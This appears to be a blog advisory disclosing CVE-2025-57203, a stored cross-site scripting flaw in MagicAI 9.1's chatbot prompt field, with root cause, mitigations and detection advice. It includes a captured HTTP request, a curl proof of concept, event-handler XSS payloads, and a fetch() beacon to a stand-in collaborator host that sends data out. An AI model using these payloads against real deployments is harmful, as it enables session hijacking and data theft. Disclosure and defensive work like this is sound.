CVE-2025-57203: Stored XSS in MagicAI 9.1 (AI Chat) Enables Arbitrary JavaScript Execution

| Vulnerability Operations @ Synack | Bug Bounty Hunter. Security Researcher. Wannabe hacker, sharing my thoughts on how to be successful in the cyber security space, after pivoting careers of being a decade long Sales Director.
Discovered by: Michael Kim & Sergio Medeiros
Vendor: LiquidThemes
Product: MagicAI (a.k.a. MagicProject AI)
Affected version: 9.1 (other versions untested)
Impact: Arbitrary JavaScript execution in users’ browsers (stored XSS)
Attack type: Authenticated remote (admin)
Component: AI Chat – “chatbot generation” feature
Status: Vendor notified by email; no response received as of September 20, 2025 (PT)
MagicAI is a commercial SaaS kit for AI-powered content, chat, and media generation sold by LiquidThemes. Its official documentation and CodeCanyon listing describe an AI content and chat platform deployed by end-customers on their own servers. (MagicAI Documentation)
Executive summary (for decision-makers)
A stored cross-site scripting (XSS) flaw in MagicAI 9.1 allows an authenticated administrator to inject HTML/JS via the chatbot generation “prompt” field. The payload is stored and later rendered unsanitized when viewing chatbot output, causing JavaScript to run in any viewer’s browser (including other admins). This enables account takeover via session riding or token theft, forced administrative actions, and data exfiltration.
CVE: CVE-2025-57203
CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
Severity: High (authenticated stored XSS with admin reach and no CSP)
Likely blast radius: All tenants/users who can view generated chatbot content in the affected instance
TL;DR (what’s exploitable)
Endpoint:
POST /dashboard/user/generator/generate-streamParameter:
prompt(multipart/form-data)Example payload:
<details/open/ontoggle=alert(1)>Trigger: Open the generated chatbot output page; the stored payload executes.

POST /dashboard/user/generator/generate-stream HTTP/2
Host: demo.magicproject.ai
Cookie: <snipped>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/event-stream
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.magicproject.ai/dashboard/user/openai/chat/ai-chat/career-counselor
X-Csrf-Token: OSPJdFDYo70unSHTRzq1Dx2Zwg1xondMWsWASQAo
Content-Type: multipart/form-data; boundary=---------------------------36975424121810644822419014182
Content-Length: 1498
Origin: https://demo.magicproject.ai
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
-----------------------------36975424121810644822419014182
Content-Disposition: form-data; name="template_type"
chatbot
-----------------------------36975424121810644822419014182
Content-Disposition: form-data; name="prompt"
<details/open/ontoggle=alert(1)>
-----------------------------36975424121810644822419014182
Content-Disposition: form-data; name="chat_id"
How we found it — step-by-step methodology
The flow below is reproducible on a stock MagicAI 9.1 installation. Perform testing only on environments you own or are authorized to test.
Establish admin context
Log in as an administrative user in MagicAI. Navigate to the Dashboard → Generators → Chatbot (wording may vary by build/locale). Documentation confirms MagicAI’s AI Chat features exist and are configurable by admins. (MagicAI Documentation)Identify the submission endpoint
Using the browser’s Network tab, observe that submitting a new chatbot involves amultipart/form-dataPOST to:/dashboard/user/generator/generate-streamThe request includes a
promptfield that carries the natural-language instruction used to seed the bot.Probe for client/server filtering
Submit harmless HTML markers (e.g.,<i>probe</i>) as theprompt. Save and open any page where the generated chatbot output is displayed (preview or listing). The text renders as HTML, indicating the value is stored and later injected into an HTML context without escaping.Escalate to event-bearing HTML
Replace the probe with an HTML element that fires an event without<script>, for example:<details/open/ontoggle=alert(1)>This uses a non-script tag with an event handler—useful when
<script>is filtered but attributes aren’t.Confirm persistence (stored XSS)
Reload any page that renders the chatbot’s output (e.g., the bot preview). Thealert(1)dialog fires in the browser without further interaction, confirming a stored XSS, not merely reflected.Assess containment and CSP
Check response headers for a Content-Security-Policy (CSP). In the tested instance, no effective CSP blocked inline event handlers. Without CSP nonces/hashes andstrict-dynamic, inline JS executes freely, heightening impact.Demonstrate impact safely
Replacealert(1)with a benign beacon to your logging endpoint to prove arbitrary JS execution (keep it non-destructive and private during testing):<details open ontoggle=fetch('https://your-collab.example/xss?q='+encodeURIComponent(location.href))>In real-world conditions, an attacker could:
Perform privileged actions as the victim (CSRF-style with full DOM context).
Exfiltrate access tokens stored in the page or localStorage (if used).
Install a DOM hook to persist control over admin workflows.
Reproduction (curl PoC)
Replace boundary and cookie values with those from your authenticated session. This is a safe demo payload that only pops an alert.
curl -i -sS -k \
-H 'Cookie: <your_admin_session_cookie>' \
-H 'Content-Type: multipart/form-data; boundary=----x' \
--data-binary $'------x\r\nContent-Disposition: form-data; name="prompt"\r\n\r\n<details open ontoggle=alert(1)>\r\n------x--\r\n' \
https://<your-magicai-host>/dashboard/user/generator/generate-stream
Then navigate to the chatbot’s preview/output page. The alert confirms execution.
Why this happens (root cause)
Untrusted input from
promptis stored server-side and later rendered as HTML in a browser context.No output encoding (e.g.,
&,<,>,",') occurs prior to HTML injection.No effective CSP is present to block inline event handlers or
javascript:URLs.The rendering path likely uses a template or DOM sink (e.g.,
innerHTML) that trusts the stored content.
Risk & real-world abuse scenarios
Admin-on-Admin compromise: In teams with multiple admins or SSO-provisioned staff, a single malicious admin account can implant payloads that execute for every other admin viewing the bot.
Session riding & data theft: JavaScript can perform state-changing POSTs, alter pricing/plans, or export data via the authenticated UI. If tokens are exposed to the DOM or localStorage, account takeover follows.
Extension to other roles: Any role capable of viewing the generated chatbot output becomes a target. Multi-tenant deployments expand the blast radius.
Affected scope
- Confirmed on MagicAI 9.1. Other versions may be affected but were not tested in this advisory.
Mitigations & vendor guidance
1) Encode on output (primary fix)
Treat all user-controlled fields (including admin-entered content) as untrusted.
HTML-encode before insertion into the DOM or templates. Use your templating engine’s auto-escaping features by default.
2) Sanitize when you must allow HTML
If rich text is required, sanitize with a strict allow-list (e.g., DOMPurify with
ALLOWED_TAGS/ALLOWED_ATTR).Disallow event attributes (
on*),javascript:URLs, iframes, and SVG/MathML unless strictly necessary.
3) Enforce a strong CSP (defense-in-depth)
Use
Content-Security-Policywith nonces/hashes andstrict-dynamic; disableunsafe-inline.Example starting point:
default-src 'self'; base-uri 'none'; object-src 'none'; script-src 'nonce-<random>' 'strict-dynamic'; frame-ancestors 'none'; upgrade-insecure-requests(Adapt to your asset pipeline; ensure all inline scripts are nonce’d.)
4) Remove dangerous sinks
Replace
innerHTML/dangerous rendering with textContent or safe binders.Centralize render helpers so escaping rules are never bypassed ad hoc.
5) Add regression tests
Unit/functional tests that submit
<img src=x onerror=alert(1)>or<details/open/ontoggle=prompt(1>variants and assert no execution.Include these in CI for every view that renders chatbot content.
6) Operational controls (until patched)
Temporarily disable the chatbot generation feature for non-essential admins.
Flag or strip HTML from
promptserver-side as an interim hotfix.Deploy a WAF rule to detect event attributes (
\bon\w+=) in multipart fields (helpful but bypassable).
Detection & triage
Server logs / DB: Search chatbot content tables/fields for suspicious substrings (e.g.,
<details,<img,onerror=,ontoggle=,javascript:).Browser console errors: Clusters of CSP or DOM-based warnings (once CSP is enabled) indicate attempted exploits.
Analytics/telemetry: Unexpected outbound requests from admin views (e.g., to attacker domains) following chatbot page loads.
Timeline & disclosure
Initial discovery: By Michael Kim and Sergio Medeiros during routine admin-side testing of MagicAI 9.1.
Vendor contact: Notification sent via email to LiquidThemes.
Current status: No vendor response as of September 20, 2025 (America/Los_Angeles).
Identifier: CVE-2025-57203.
Formal CVE description (for databases)
MagicAI (MagicProject AI) 9.1 by LiquidThemes is affected by a stored cross-site scripting (XSS) vulnerability in the chatbot generation feature available to authenticated admin users. The flaw resides in the
promptparameter submitted to/dashboard/user/generator/generate-streamvia a multipart/form-data POST request. Due to insufficient input sanitization and lack of output encoding, attackers can inject HTML-based JavaScript payloads such as<details open ontoggle=alert(1)>. The payload is stored and rendered unsanitized in subsequent views, executing in other users’ browsers when they access affected content. This permits arbitrary JavaScript execution in the context of another user, enabling session hijacking, privilege escalation, data exfiltration, or administrative account takeover. The application does not implement a restrictive Content Security Policy (CSP). A fix should include proper sanitization, output encoding, and strong CSP enforcement.
Reference: Product listing & docs: MagicAI by LiquidThemes. (CodeCanyon)
FAQ
Is this server-side code execution (RCE)?
No. This is browser code execution (stored XSS). However, with admin context it can be devastating—privileged actions, data access, and potential full administrative takeover.
Does filtering <script> tags fix it?
Not by itself. Modern XSS avoids <script> using event attributes, SVG, srcdoc, javascript: URLs, etc. Use allow-list sanitization and output encoding; back it up with a strict CSP.
We only have one admin—are we safe?
Not necessarily. A compromised or shared admin account can implant payloads that persist and execute later, including against future administrators.
Acknowledgments
Discovery & research: Michael Kim and Sergio Medeiros
Report author / advisory preparation: grumpz (blog)
Suggested SEO metadata (drop-in)
Title: CVE-2025-57203 — Stored XSS in MagicAI 9.1 (MagicProject AI) Enables Arbitrary JavaScript Execution
Meta description (≤160 chars): MagicAI 9.1 stored XSS (CVE-2025-57203) lets admins inject JS via chatbot prompts. Impact: account takeover. Fix: encode, sanitize, CSP.
Keywords: MagicAI vulnerability, MagicProject AI, LiquidThemes, CVE-2025-57203, stored XSS, AI Chat, generate-stream, admin takeover, CSP, DOMPurify
References
MagicAI documentation & vendor attribution (LiquidThemes), with pointers to listing and support links. (MagicAI Documentation)
CodeCanyon product page (MagicAI by LiquidThemes). (CodeCanyon)
If you run MagicAI in production, treat this as a priority: remove HTML rendering from
promptoutputs, ship a strict CSP with nonces, and add automated tests before re-enabling rich content.



